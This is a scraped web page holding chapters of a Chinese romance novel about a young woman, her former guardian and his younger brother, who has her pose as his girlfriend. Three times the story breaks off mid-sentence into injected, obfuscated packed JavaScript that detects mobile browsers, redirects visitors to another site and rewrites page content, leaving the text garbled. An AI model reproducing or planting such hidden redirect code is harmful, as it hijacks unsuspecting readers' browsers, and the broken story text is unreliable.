文容见他明显不快。 “你对她不满意?……”他顿了顿,“还是景翊?” 谈起婚恋一事,不论具体条件与情况如何,人们往往偏袒自家孩子,或与自己关系更亲密的一方。 按血缘来说,梁怀聿理应偏袒亲弟弟梁景翊,挑刺未来弟妹的家境贫寒、出身一般,两人差距太大。 可,他也是余简之的监护人。 梁怀聿更想站在余简之的立场,挑刺弟弟的好高骛远、浮而不实、心猿意马。 这两种对撞的情绪在他心中角力,最终,梁怀聿简单总结: “不是对谁满不满意的事。他们两个人不合适,不是一个世界的人。经济差距从来不是问题,只要简之来找我,她结婚,我会为她好好操办。简之性格软,适合在外能独当一面、在家却肯听她细语的男人。景翊性格急,适合有脾气的、说一不二的。这两人哪里般配?” 文容听他这段洋洋洒洒的话,总觉得有哪里不对劲。具体哪里不对劲,他一时抓不住头绪,只好暂且搁置在脑海里。 “你没叫他们分手?”文容问。 “叫了。” 这两个字瞬间勾起了早晨与梁景翊那不愉快的对话,梁怀聿的脸色又沉下几分,“我有什么办法?他们都是成年人了,不再是我一句话就能呼来喝去的孩子了。再说织女与牛郎,白素贞与许仙,祝英台与梁山伯,哪个不是越阻挠越爱越深?” 正是有这些凄美的前车之鉴,他才强压下火气,没有对弟弟多苛责。 “那倒也是。不过你也说了,他们都是成年人了。简之和景翊都长大了,我们大人能管的只有这么多。棒打鸳鸯总归不好。” 说起两个孩子,文容的感慨不比梁怀聿少。这俩小孩,都是他看着长大的。 他叹了口气:“真是女大十八变。简之彻底长开了,越来越漂亮了。人瞧着也成熟稳重了,唯一没变的就是身上那股聪明劲。唉,她长大了多少岁,我们也就老了多少岁。” 梁怀聿脸色很差:“你怎么说得我俩快入土了似的?” “没办法啊,谁叫岁月催人老。转眼间,简之就到了我俩捡回她的年纪了。真的出落得亭亭玉立。你见过的吧?那天景翊是不是带回家见你了?” 梁怀聿语焉不详地“嗯”了一声。 脑海里浮现出余简之坐在沙发上的样子,双腿并拢,手略有些紧张地握成拳,像一只乖顺的雏鸟。 在看见他的那一刻,她立刻挣扎着想从攀立的电线上离开,却被他的目光钉在原地。 她的惶恐无处遁形。 那个时候,他在想什么呢? 他似乎什么也没想。 他的大脑一片空白,梁怀聿隐约记得,自己听见了唇边笑容凝固的声音,像是冰封多年的湖面开裂一条小缝的声音。 “是不是很漂亮?”文容还在追问。 “是很漂亮。”他面无表情地回答。 - 余简之从梁景翊嘴里听见自己的名字,便知道梁怀聿打电话来的目的与她有关。 电话放下,梁景翊仍然记得电话拨来前余简之没说完的话:“你那个资助人?怎么了?你不是说你们没有联系了吗?” 余简之一下子顿住。 刚刚那些已经在唇边呼之欲出的话,此刻已经咽回肚子里了。 她要用什么身份、什么立场向梁景翊解释这段往事? 如果她仅仅受过他哥哥的资助,仅仅只是在梁怀聿的庇护下长大成人,她现在当然可以心无芥蒂地坦白往事,甚至与梁景翊继续扮演恩爱情侣,她毫无负担。 可是…… 你哥哥好像喜欢我,但是我跑了。 这该怎么说呢? 而且,那天,梁怀聿也没有在梁景翊面前揭穿他们的关系。 他不想让人知道,对吗? 自己一手养大的,生过好感的女孩,成了亲弟弟的女友。 她摇摇头:“我忘记我刚刚要说什么了。你哥给你打电话,干什么?” “哦,就是房子已经定好了。”梁景翊在手机里调出图片,“你先看看。他们这中介拍的图都显大,实际上比这个小一点,不过小区环境啊安保这些都好得很,我哥应该就是看中这点才选定的。” “你哥定的房?” “我选了几套,他在其中选的。” “……那房租呢?” 这房子装修挺不错的,估计地段也不会差。余简之苦着脸,要是超预算了咋办?早知道还是自己看房了。 “我已经付过一年的房租啦。这一年你就不用担心,安心住着。哎,你别转我,也不用你分期付我,这是我哥的意思。” 梁景翊满意地盯着她变幻的神色:“你瞧瞧,你刚刚竟然还想辞职?明明当我女朋友有那么多好处,我和我哥都对你这么好。” 他想到什么,又叮嘱:“你也千万别傻乎乎地去找我哥啊,他这个人最不缺的就是钱,你这房租,还没他一支钢笔贵呢。他不会在意的。” 她的表情落在梁景翊的眼里,是又惊又喜又惧。 余简之心里也确实是这三种想法,起因却和梁景翊所想的不同。 梁怀聿这次对她好,是因为她是梁景翊的女友,而不是她是余简之。 她这下更没办法解释自己和梁景翊只是演戏了…… 他一定会生气吧。 余简之见过梁怀聿生气的样子,现在想想也觉得后怕。而且她现在不是小孩子了,不能再耍赖般去求他原谅…… “下午你下了班,咱俩去看看房子,要是感觉缺了什么,你跟我说,我再去置办。然后周末的时候我帮你搬家,行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林芝韵是位四十多岁的中年女人,据她自己所说,她是国内最早做营销的那批人。但是,她与平素那些讨厌的领导不同,说这番话时,不是高谈阔论的语气,而是希望大家能像她一样成为创新营销的第一批人。 林芝韵很显然在等她。目光看着门口,电脑是息屏的,面前的桌子对面放着一把椅子。 “来,我们坐下说。”她和蔼地示意她坐下。 不像是要批评她……可余简之也想不到林芝韵会有什么需要单独跟她说的。 余简之惴惴不安地坐下。 林芝韵始终语气轻松,不像是在聊工作。但又确实是在聊工作。 她关心地询问了她目前的工作内容和进度,又问她工作上有没有困难,需不需要协助。接下来有什么工作规划,想参与哪些工作任务。 不像领导,像妈。 余简之逐渐明白,她突如其来的亲切,是因为梁景翊或梁怀聿。 果不其然,最后她说:“梁总想见你。你知道他办公室在哪吧?” 余简之僵硬地点点头。 “待会他应该也就是问你这些事。你按刚刚那样答话就好。你工作很努力,但努力也往往很难被领导看见。把握好这次机会。” 林芝韵起身,拍了拍她的肩,示意她可以离开了。 余简之意识到,林芝韵是来给她打草稿的。而且听语气,林芝韵以为梁总找她,只是因为工作。 - 文容的办公室就在梁怀聿的办公室邻侧。 处理工作的间隙,他无意间抬头,目光透过室内窗那块单向玻璃,恰好看见女孩从走廊穿过。 不,准确来说,是女人。 她注目视前方,垂落在胸前的发丝随着步履轻轻晃动,米白色的麻花毛衣很适合温婉可人的她。 他注视着她消失,走进梁怀聿的办公室。 就在这个瞬间,文容忽然察觉,先前午休与梁怀聿的那番谈话,始终令他在意的,那点奇怪之处,是什么了。 他想起梁怀聿谈论此事的神态与言辞。那般客观冷静,条分缕析,将不合适的理由陈述得无懈可击。 但…… 织女与牛郎,白素贞与许仙,祝英台与梁山伯。 所有这些悲剧眷侣里,梁怀聿那看似公允的评判下,他潜意识里真正在衡量、在担忧、在置于首要位置予以保护的—— 始终是“织女”,是“白素贞”,是“祝英台”。 是余简之。 而不是自己的亲弟弟,梁景翊。 5. 小雪 余简之刚走到门前,还未敲门,办公室的门便从里拉开。 梁景翊的脸探了出来,笑眼弯弯:“来来来,快进来。” 余简之还愣着,他已伸手揽过她的肩,将她带进室内。 余光里,梁怀聿坐在办公桌后,身影沉静,专注在电脑里,没有抬头望向这边。 “没关系的,他现在是咱俩的哥哥,不是那个高高在上的梁总。你别怕,我们聊我们的,不管他。”梁景翊悄声附在她耳边说。 余简之反应过来,原来找她的是梁景翊,不是梁怀聿。 心头掠过一丝极淡的失望,还没等她细想,梁景翊已按着她在一旁的沙发上坐下:“来!吃点蛋糕。” 茶几上摆着一块草莓蛋糕。 余简之没什么胃口,余光始终留意着角落里的梁怀聿。他显然对眼前的喧闹不甚愉悦,却又按捺着没有发作。 余简之拉拉梁景翊的衣袖:“你小点声……打扰你哥哥工作了……” “没事儿,我从小到大都这样闹他的。”梁景翊浑不在意地在她对面坐下,殷勤地打开蛋糕盒。 “我现在不想吃。你找我来到底干嘛?我还得工作呢。” 她一边小声说,一边始终留意着不远处男人的动静。梁怀聿始终注视着电脑,仿佛对他们视而不见。 “你不用工作了,今天你提前下班。” “啊?为什么?” “待会咱们去看房呀。我哥说了,你现在住得远,要是等你下班后再去看房,你到家就很晚了。” 梁景翊不忘表达是梁怀聿的意思,让她别担心。 既然是梁怀聿的吩咐,余简之很难不从。还好她今天的工作基本处理好了。 “我要向人事请假吗?” “不用,他们都以为你上来和我哥聊工作呢。等会你直接跟我走就好了。” “好。等等,那我的东西呢?还在办公室呢。” “没事儿,下班后我让人去拿,晚上送到你家。” 梁景翊安排得无懈可击,余简之找不出破绽,只好点头答应:“好吧。现在去吗?” “嗯。”梁景翊拉着她起身,手在她的手腕上一握,隔着薄薄的毛衣。 “你怎么就穿一件毛衣啊?这么薄,晚上冷死你去。” 上下班通勤冷得要命,而公司暖气开得足,热起来也要人命,因此余简之习惯穿成粽子,到公司后脱下厚外套。 她刚想说自己的大衣在办公室,她去取一下,一道平静的嗓音从斜后方响起:“穿我的吧。” 余简之眸子一动,睫毛扑扇,抬眼望去。 梁怀聿从办公桌后起身,径直走向衣柜。他习惯在办公室备着几套衣物,以应对临时的行程变动。 手打开衣柜,余简之的身形数据自然而然地浮现在他脑海。 161cm,54kg。 余简之的身高基本在高二那年定型,成年后,也很难再长高。体重呢?他瞧着瘦了不少,现在肯定没有一百斤了。 甚至更轻。 梁怀聿取下一件短款大衣。 梁景翊走来接过,叫余简之来他身边,为她披上。 “你穿我哥的衣服,太大了啦。”梁景翊忍不住笑出声。 以梁怀聿的身形,他的衣服变到余简之的身上肯定是会大的,但比他想象中还要大许多。 衣摆几乎盖过她的臀部,肩线也垮了下去,像偷穿大人衣服的孩子。 余简之的脸红透了。 好想让梁景翊闭嘴。 “你太瘦了。”梁怀聿的声音再度响起,“多吃点。” 话音落下,余简之和梁景翊同时抬头看向他。 他依然立在衣柜前,身形修长。即便裹着秋冬衣物,也能看出平日锻炼的痕迹,稳重而坚实。 在梁怀聿眼里,余简之完全是营养不良的小鸡仔。 离家这几年,她到底怎么过的?那笔钱足够她过得舒适,可看她这样子,显然是在苛待自己。 有再多的钱,余简之也一定会精打细算,一定会节衣缩食。 是了,问题就出现在这里。 余简之乖巧点头:“谢谢哥哥关心,我以后一定会多吃的。” 梁景翊帮她扣上一颗扣子,顺势牵起她的手。 “走了。”他转头对梁怀聿说,“哥,我和简之就先走了。嗯?你要跟我们一起去吗?” 梁怀聿没说话,只迈步越过办公桌,取下一旁挂着的长大衣,利落地穿上,用动作回答了他。 梁景翊如临大敌,赶紧推着余简之走出办公室,趁梁怀聿还没出来,小声叮嘱: “没事的,就平常那样和我相处。可别又说甩手辞职之类的话啊,这算意外情况,我不亏待你,算你三倍工资。” 梁怀聿走出办公室,看见梁景翊正将余简之轻轻抵在墙上,竖起手指交代什么,而余简之忙不迭地连连点头。 他眼神微沉,脚步却未停。 梁景翊拉着余简之跟上。 车停在楼下,梁怀聿亲自开车,梁景翊和余简之坐在后排。 手机震动,余简之低头看。 【郑以薇:简之,你干嘛去了?】 【余简之:梁总找我有事】 【郑以薇:梁总??哪个梁总??是我想的那个吗?他找你干嘛?】 【余简之:批评我吧可能】 【余简之:先不跟你说了】 车轮碾过减速带,轻微一顿。规整的、略显陈旧的居民楼在车窗外掠过,余简之松了口气。还好,就是普通小区,不是她负担不起的那种高档小区。 “怎么样?还可以吧,哥说这个小区安保好,隔壁就是派出所,你们女孩子独居比较安全。” 梁景翊敏锐地察觉她对哥哥的畏惧,故意多提梁怀聿的细心。、 余简之乖巧应答:“嗯,辛苦景翊,……和哥哥为我费心。” 三人一同上了六楼,一层楼共有五个住户,电梯门开启,正好撞见一户人家的老人带着小孩出去晒太阳。 这个小区是住宅,大多是一家几口在此定居,人员简单。 密码锁“嘀”一声打开,梁景翊推门进去:“密码我待会儿发你。” “好。” 余简之跟着他进入屋子。 屋子比想象中小,但一个人住绰绰有余。 窄长的客厅里,阳光透过落地窗洒满一地。厨房虽小,但好歹是正儿八经的厨房,有煤气,这下可以正儿八经地做饭了。卧室有两个,一间面积稍大些,能放下书桌,另一间小些,刚好容得下一床一柜。洗手间就在卧室旁,还有一个能晾晒衣服的小阳台,摆放着洗衣机。以“麻雀虽小五脏俱全”形容这套房子最合适不过了。 “哇!”余简之忍不住惊叹出声,眼里透出光亮。 她最满意的是这两个卧室,到时候还能分一个给余平安。屋子虽然长住两个人有些紧巴,但平安不是外人,她俩又不会互相嫌弃。 “怎么样?”梁景翊满脸“求夸夸”的表情。 “我很喜欢!” “那就好,我还怕你会不满意呢,毕竟这个小区有些年头了,装修也有些旧了。简之,你看看还缺什么家具,一起给你置办。”梁景翊爽快地说。 “好。”余简之也不客气,认真环顾起屋里的陈设。 基础家具都有,但想过得舒心,确实还得添置些东西。 客厅有沙发就够了;厨房的锅碗瓢盆都得买,她现在住处只有一个锅两只碗。 她一边默数,一边走进卧室。没有床头柜,不过也不是必需;书桌有些旧,轻轻一推还有点晃,但还能用;衣柜很大,她很满意。余简之转身退出房间,却撞上梁怀聿。 他站在房门口,堵住了她的去路。余简之不敢催他,只好敛眸等待。 梁怀聿的目光在卧室内流连一圈,最后落回她的身上。 “卧室没有需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202930|197269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要添置的?”他问。 “现有的够用了。” 梁怀聿沉吟片刻,朝外唤道:“景翊,添个床头柜和书桌。再买一把人体工学椅。” 梁景翊的声音不知从哪个房间传来:“哎!好!” 他发话了,余简之也不再推拒,轻声说:“谢谢哥哥。” 梁怀聿敛着思绪,静静看了她片刻。 叫哥哥的模样倒还是那么乖。 但他并不希望她总是这样乖巧,女孩子可以伸手要东西,何况他从未吝啬给过。 “不用客气,梁景翊的钱你随便花。” 他转身朝外走去,余简之怔了怔,才跟过去。 之后梁怀聿一直立在落地窗前,望着外面不说话。余简之悄悄瞥了他好几眼,午后的阳光给他周身镀上一层淡金,与这间略显陈旧的屋子格格不入。 另一间卧室几乎放不下什么家具了,余简之想了想,得安排一个床上桌才行。别的可以等平安来了再陪她去买。 梁景翊也转了一圈,但他向来是大少爷做派,一开口就要添书架、电视,被余简之打断:“不要书架,放不下。电视也不用,我们都不看。” “我们?”梁景翊说,“你不看就不看,我可没说不看。” 她想到的是余平安,梁景翊却以为在说他。 “没有,我——”余简之急忙解释,却被一道落来的目光轻轻截断。 窗边的梁怀聿侧过身,半边脸浸在阴影里,眼眸静默地看向她。 “反正不要电视机,占地方。”余简之语气坚定。 “行吧行吧。”这是她的家,梁景翊也只好听她的。 两人站在客厅中央列了个清单,梁景翊说:“行,我明天去给你置办。” 他提起刚收拾出来的一袋垃圾,招呼梁怀聿:“哥,走了。” “简之。” 已经跟着梁景翊走到电梯间的余简之被叫住。 她回过头,梁怀聿站在门口,手指着密码锁:“过来重新设一下密码。” 梁景翊站在电梯门口,抱着垃圾:“对,是该重新设一个密码。” “噢,”余简之走过去,看着密码锁,“怎么设?”她没用过密码锁。 梁怀聿在面板上按了两下:“来,输密码。” 余简之伸出手,手缩在宽大的衣袖里。梁怀聿见状扯了一下她臂弯处的面料,替她挽起袖子。 她按下一串数字,乖乖停手:“好了。” “不要设生日,认识的人会猜到。”梁怀聿抬手一抹,清空了数字。 余简之心头一跳。 梁景翊没听见吧?……虽然梁怀聿似乎压低了声音。 “重新设。”梁怀聿提醒怔住的她。 “嗯……”余简之迅速想了想,除了生日,还能用什么数字。 她很快想到她所有的银行卡密码,那是遇见梁怀聿的日子,也是她人生的转折点。但当着梁怀聿的面,她不可能输入这串数字。 最后,她输入了余平安的生日。 梁怀聿没再说什么,只在面板上确认了一遍:“再输一次。” 她又按了一次。 “就这个密码,不会忘吧?”梁怀聿问。 余简之点点头:“不会忘的。” 梁景翊笑:“怕忘就告诉我呀,我帮你记着。” 梁怀聿的声音沉下来:“景翊,我是这样教你的吗?总往女孩子家里跑?” 梁景翊小声嘟囔:“我没去过简之家咧……” 余简之不知该说什么,只能尬笑。梁怀聿的目光转回她脸上,语气温和了些:“这个密码,不能告诉任何人,景翊也不能说。” “我是贼吗???”梁景翊愤怒地抗议,“简之,快告诉我密码!” 余简之紧闭嘴巴:“我不能说。” “女孩子独居,安全第一。”梁怀聿看着她,声音同话语一样沉稳,“有任何事,随时可以打我电话。” 6. 小雪 三人在附近的一个餐厅吃晚饭。 路上梁景翊挽着她的手,拉着她在路上指指点点:“看,那边就是地铁站,可以直达公司的,不用换乘。那边还有公交车站,得走几步路。” 余简之下意识想甩开他的手,梁景翊赶紧抱紧她,压低声音:“加工资,三倍。” 余简之不动了。 梁怀聿落在他们身后,神色不明地看着前面二人。 两具年轻的身体靠在一起,共享着彼此的温度,亲密无间,情意正浓。 来到餐厅,梁景翊点了道喜欢的菜便去洗手间。菜单来到余简之手里,她点了道合大众口味的炒菜。 她合上菜单。 梁怀聿看了她一眼,张口想说什么,没说,转头跟服务员说了:“芋头蒸排骨,炸鲜奶。可以了。” 他将菜单递给服务员,目光转回,余简之的双手搭在桌上,像只小仓鼠,愣愣地看着他。 和他的视线一碰,她又飞快地垂下眼。 ——她在躲着他。 是因为她现在是景翊的女朋友吗。 梁怀聿发现一个有趣的现象,他和简之,在梁景翊面前,都选择了互不相识的剧本。 梁景翊一直给余简之夹菜,她的碗里自始至终就没空过,刚吃完就来了新菜,源源不断。 余简之被他弄得来了脾气,索性也抄起筷子,猛夹几筷子,把他的碗堆得更高。 “你别管我,你多吃点呀,你太瘦了。”梁景翊说。 “我不瘦,还长胖了呢,前两天刚过百。” “还不瘦?你那么长一条,又那么细。”梁景翊伸出手比划,“还没你在美国时胖。你看你——” 余简之感受到一直暗暗落在身上的那道目光一沉。 她握着筷子的手一颤,赶紧打断梁景翊:“好了!我在吃啦!” 美国是禁词,她不想让梁怀聿听见,或者从别人的嘴里听到那段她在美国的日子。 结果余简之自己吃完了将近一半的菜,那道炸鲜奶不是他们的口味,几乎是她一个人吃完。 一次性吃这么多好腻,她心想,人长大后的口味和小时候原来是不一样的。 梁怀聿开车送他们回去,正值晚高峰,不论进城还是出城,都堵得厉害,走走停停,慢慢吞吞。进入初冬,天黑得早,到达老宅时天完全黑了。 梁景翊跳下车,绕到主驾旁,说:“哥,我开车送简之回去吧。” 梁怀聿并未按下车窗,声音落下,在余简之的耳朵里更为清晰:“我送她回去。” 梁景翊登时不爽:“哥,你等会不回来吗?” “不。” 梁怀聿在公司附近有套公寓,他住在那里居多。 “那你把我送到这边干嘛?”梁景翊很不爽。老宅有些年头了,没有他在市中心的公寓方便。 “你明天要上法语课。” 梁景翊无话可说了。 哥哥随他玩闹,对他唯一要求就是要学语言,光有一口流利的英语还达不到梁怀聿的要求,梁景翊在剩下的语言里选了法语,谁知他被《亲爱的翻译官》蒙骗,什么阴阳性!管它面包是男的还是女的!统统去死吧! “还有简单。明天下午有宠物医生来家给它做驱虫,弄完了你把它送来我家。” 梁景翊懒懒地应着:“好了我知道了。” 他转身走了,梁怀聿迟迟没有发动汽车。直到屋内亮起一盏灯,他转回视线,语气沉沉:“坐前面来,简之。” 余简之飞快地拉开车门,下车,关闭车门,拉开车门,上车。 梁怀聿注视她系上安全带,然后发动汽车。 车驶离老宅门口的这条主干道,融入北京冰冷的车流。 余简之盯着窗外疾驰的汽车,身旁传来声音打破沉静:“小简,开一下导航。去你家的。” 余简之赶紧调出导航。她举着手机向他示意,梁怀聿侧目看了一眼,视线的终点落在那个地址上。 “不用举着,调高音量就行。”他转回视线,语气听不出情绪。 即便过了晚高峰,北京的夜晚依然很堵,加上逐渐逼近她居住的老破城中村,路况更差了。 导航上预估的到达时间逐渐拉长。 只剩下二人独处,余简之如坐针毡。 车厢里只剩下沉默。余简之的嘴唇张了又合,想说什么,最终一个字也没挤出来。说什么好像都不对。 就在余简之被自己混乱的心跳声淹没时,梁怀聿开口了:“在美国生活还习惯吗?” 她下意识地“唔”了一声,愣了一秒才答:“还好。好像说不上习惯不习惯。” 余简之是没有家的。所以对她来说,在哪里生活,在哪里安家,似乎都没差。 “为什么突然回国呢?因为景翊?” 梁怀聿查过了,余简之的入职时间不是毕业季。她的简历上也写着她在美国某公司实习过几个月。 也就是说,毕业后她原本打算留在美国的。 回国是临时的决定。 是因为景翊回国了吗? 他不太喜欢她的这个决定。 “呃,不是因为景翊。”余简之不知该如何回答,只能先否认他的推断。 “在美国生活很辛苦?” 对,女孩子独自在陌生的国度长期生活,一定会面临许多困难。他应该考虑到她的困境,不能对她要求太高。 “也不是……” 虽然她一直尽可能地节俭使用那笔钱,但并没有到完全不敢使用它的程度。每到换季,余简之都会取钱去添置新衣,每月也会固定抽出一笔钱,用作生活费。 总的来说,她站在那里,一眼看过去,别人绝对想不到她是从大山坳贫苦人家走出来的孩子。 倒像是书香世家出来的乖小姐——梁景翊是这样形容她的。 “那为什么回国?”梁怀聿继续问。 “嗯……可能因为离故乡很近。” 余简之眼神飘忽,随口搪塞。慌乱扫动的视线,陡然与他的,在车内后视镜相撞。 他就那样从镜子里看着她,静静地看着她。 很温柔的,像是今天下午说“太瘦了多吃点”。 “因为离您很近。” ——完了—— 她怎么说出来了! 话音和理智同时落地的瞬间,剧烈的咳嗽声猛地炸开,余简之试图掩耳盗铃,用这动静盖住这句……丢脸的话。但梁怀聿看过来的眼神告诉她,他听见了,且听得很清晰。 她像只受惊的鸵鸟,猛地别过脸,滚烫的额头贴在冰凉的车窗上。玻璃模糊的倒影里,她整张脸烧得通红。 天呐!!! 她怎么能说这种话!!! “离我很近。” 梁怀聿念了一遍。他的嗓音很好听,经过他的加工,磨过她的耳廓,这下,连脖子都开始发烫了。 糟糕。非常糟糕。从各个角度来说都很糟糕。 “但是,小简没有来找我。” 这句话里,叹息多过责备。 余简之的手指绞着袖口,声音低得像呓语: “……因为我联系不上您。” 余简之没有做好一回国就立刻联系梁怀聿的准备,这太像女儿离家出走勇闯世界却被狠甩了巴掌回家寻求父亲的安慰并要求其提供创业资金以便她再度勇闯天涯。 她不知道自己该以什么样的身份联系他。 尽管,自从进入公司后,余简之也一直在思考何时、何地、何种情况下联系他。 她的简历在茫茫人海中没有石沉大海,她顺利进入了梁怀聿的公司,然而身居高位的梁怀聿不可能注意到小员工的入职。 从前他是梁怀聿,是她余简之名义上的监护人。 只要她生病住院、被请家长、说想哥哥了,梁怀聿都会来到她余简之的面前。 如今他是梁总,她是卑微的打工人,就算身处同一幢办公楼,她透过窗看见的是车水马龙堵得水泄不通,他看见的是高楼大厦高耸入云。 余简之怎样才能出现在梁怀聿面前。 梁怀聿淡淡道:“我没有换过电话号码,没有搬过家。我依然住在那里。” “怀聿哥哥,我怕你生气。”余简之咬紧嘴唇,卸下“您”疏离,流露出属于小简的怯意。 梁怀聿从后视镜里看了她一眼,她的声音细得像蚊子哼哼。 “不称您了?” 他的语气松了一点,脸上浮出浅淡的笑。 “小简,我依然是你的监护人,只要你需要。庇护你是我的责任和义务,这与其他任何事都无关。” 话虽如此。 余简之知道梁怀聿不可能抛下她不管。如果哪天她被迫抢劫坐牢了,或是被电信诈骗集团拐去,她一定会毫不犹豫地找到梁怀聿求他救救她,哪管从前发生过什么。 但她还没有穷到要去抢劫,也没笨到会被拐走。 她是成年人,二十四岁的成年人了。 是有手有脚、独立自主的余简之。 “谢谢怀聿哥哥,但是……” “不用但是。”梁怀聿打断她,“我是你的资源,要学会利用。当然,景翊也是。” 余简之“唔”了一声。 不管了,没听懂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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梁怀聿关上门,站在门口盯着这小破门看了一会,确认它今晚不会散架后才离开。 送走梁怀聿,余简之闭紧耳朵,对室友房间里传来的一切声音充耳不闻。 她一边进入卧室,一边拿出手机,发现郑以薇从下午起便一直在轰炸她。 【郑以薇:啊啊啊!!!】 【郑以薇:竟然什么也没干就能升职!!!】 【郑以薇:太幸运了吧!!!】 【郑以薇:简之你还没看到吗!!!】 好多感叹号。 余简之默默惊叹,点开项目组的群聊,这是一个小群,因此没有那么多规矩,此刻项目组的同事也都在群里刷屏,和郑以薇的那些话差不多,反复提及“升职”“加薪”“开心死了”。 她疑惑地点开通知模块。 今天下午四点,公司发布了一条通知。 余简之所属的海外营销项目组,将直属梁怀聿负责,独立于营销部之外,林芝韵担任组长。 ……也就是说,之后余简之的直系领导依然是林芝韵。再往上,就是梁怀聿,再无别人。 群聊里那么热闹,是因为林芝韵在群里说,以后不再是固定工资,而是基本工资加提成。虽然基本工资略微减少了,但算上提成,每个月到手数绝对比之前多得多。 【林芝韵:我们整个小组都是负责着一个项目,一荣俱荣,一损俱损。大家好好干,争取隐泉销量翻倍的同时工资也翻倍~[打气]】 余简之也跟队形回了一个[打气]。 她退出去,回复郑以薇:【看到了,好开心】 虽然不知道工资实际上能涨多少。 【郑以薇:你才知道?】 【余简之:对啊,刚到家才看见】 【郑以薇:我还以为你下午就知道了】 【余简之:为什么?】 【郑以薇:你在梁总办公室呆了那么久啊,下班了都还没走】 【郑以薇:梁总不是因为跟你谈话才决定拉我们小组一把吗?】 【余简之:……】 【余简之:很难想象会是因为我】 余简之放下手机,插上充电线的那一刹那,她仿佛也被插上电,全身通电,一股电流穿过,猛地将她不太清醒的脑子电聪明。 我是你的资源。 要学会利用。 等等——! 方才仍不明所以的她,此刻全然懂了。 果然大道理一套完全空说,不如加工资来得实在,实践才出真知啊!! 7. 小雪 第二天一早,余简之和郑以薇在电梯里撞上,郑以薇满脸兴奋,有好多话想跟她说,但电梯拥挤,她只好忍着,一肚子话憋在胸口,小脸涨得通红。 余简之顿感大事不好。 果然,脚还没沾工位的地,胳膊就被郑以薇一把挽住,不由分说地拖进了茶水间。 门刚合上,温热的呼吸就贴到了耳畔:“梁总昨天都和你说什么了呀?说了快一下午呢。” 还好余简之昨晚早已提前背好了剧本:“梁总就问我工作情况,还有项目进展,我负责的工作怎么怎么样。因为我这段时间不是一直在查竞品的资料么,梁总很关心所以多问了几句。” 反正郑以薇也不可能找到梁怀聿对剧本。 “啊?”郑以薇这失望的表情是怎么回事,“那你昨天不得紧张死了?梁总是不是很凶啊?” 余简之小鸡啄米似地点头:“对啊,他问得我可细了,我特紧张。” 郑以薇见她这副样子,跟被训话的小学生似的,扑哧一笑,她点点余简之的脸颊:“没事儿,有回报。肯定是因为昨天和你的谈话,梁总才决定给我们升职加薪的。余简之,我感恩你。” “别谢我,谢梁总。” 回到办公室门口,余简之又被拉住。郑以薇靠近,手挡在嘴边,小声问:“梁总真人是不是比照片更帅?” “……” 林芝韵刚好进入办公室,看见余简之,叫了一声:“余简之,你过来一下。” 林芝韵也对梁怀聿这突如其来的决定颇感意外,梁总虽然一直看重营销部,但之前她成立这项目小组时,他并未提出多少意见,让她自己放手大胆干,总而言之能看出他没多大兴趣,没想到他会突然如此重视。 让梁总改变想法的,一定不是他看见了小组的成绩,毕竟现在还没出成绩。也不可能是因为她自己,梁怀聿一直对她很放心,没道理给自己加活干。 思来想去,那就只能是小组里最后接触梁怀聿的人了。 余简之把刚刚和郑以薇说的那番话复述了一遍。林芝韵点点头,没说什么,余简之便回了工位。 登上工作号,郑以薇给她发了张照片。 【郑以薇:帅吧,我就是因为这张图,才拼死拼活要成为梁总的员工】 余简之点开一看,是去年梁怀聿参加某峰会的照片。是张合照,故而人脸有些模糊,但远拍能完美体现出男人的健硕高挑,在一群中年啤酒肚里很是惹眼。 【郑以薇:宽肩窄腰,大腹肌若隐若现,哇哦,感觉很爽】 去年余简之在美国就看过这张照片了。她时常会在网上搜索梁怀聿的信息。 之前在梁怀聿身边,她知道他隔三差五就要去哪里开会,或是参加某些公开场合。余简之却没想到,这些东西,鲜少能在网络上搜索到,一年下来,她能保存梁怀聿十张照片就不错了。 【郑以薇:你觉得呢】 【余简之:……】 她心一热,脸也跟着烧起来,赶紧叉掉照片,打开工作文档。然而文档成了池塘,那些文字像小蝌蚪似地跑来跑去。 郑以薇的消息还在右下角冒泡,时不时夺走她本就不专注的注意力。 【郑以薇:所以真人看起来是不是更爽?】 【郑以薇:别害羞啊,我是真的想知道】 【郑以薇:忘了,你有男朋友】 【郑以薇:其实你男朋友也不错,说不定比梁总更爽,毕竟年轻是资本】 余简之啪叽点开与郑以薇的对话框。 缩小缩小再缩小,恨不得缩成只能看见一个头像。 【余简之:公司后台会不会能看到我们的聊天啊??】 【余简之:[谨言慎行]】 【郑以薇:[恐惧]】 【郑以薇:不好意思,打错字了,是帅,不是爽】 到了十一点,公司群聊里又炸锅了,原因是每个人饭卡上都多了一千元,说是提前给大家安排的年终福利。 这福利,当然是从梁怀聿的口袋出了。 余简之忙不迭在手机里打开电子饭卡,这饭卡当初入职就绑定了,需要自己充钱,她当然没充过。 看清余额那串数字后,余简之立刻上滑退出。 ——她的账户上有五千元!!! 整整五千块,少说可以吃一年呢!! 梁怀聿没回复大群里一行行的“谢谢梁总”,倒是文容出来发了两个表情,大家又立刻开始刷起“谢谢文总”。 余简之没凑跟队形这热闹。 她在群聊里点开梁怀聿的名字。 显然每人一千元的饭卡福利,是给她手里这五千元做陪衬的。梁怀聿是因为她,才这么大手笔。 应该说感谢吗…… 她在对话框里打下“谢谢梁总”。 好奇怪,因为群聊里发的也是这句。 那,“谢谢怀聿哥哥”? 更奇怪了。在工作号这样发,好别扭啊…… 犹豫再三,余简之想起了梁怀聿说他没有更换过手机号码。 他的手机号,余简之一直存着的。 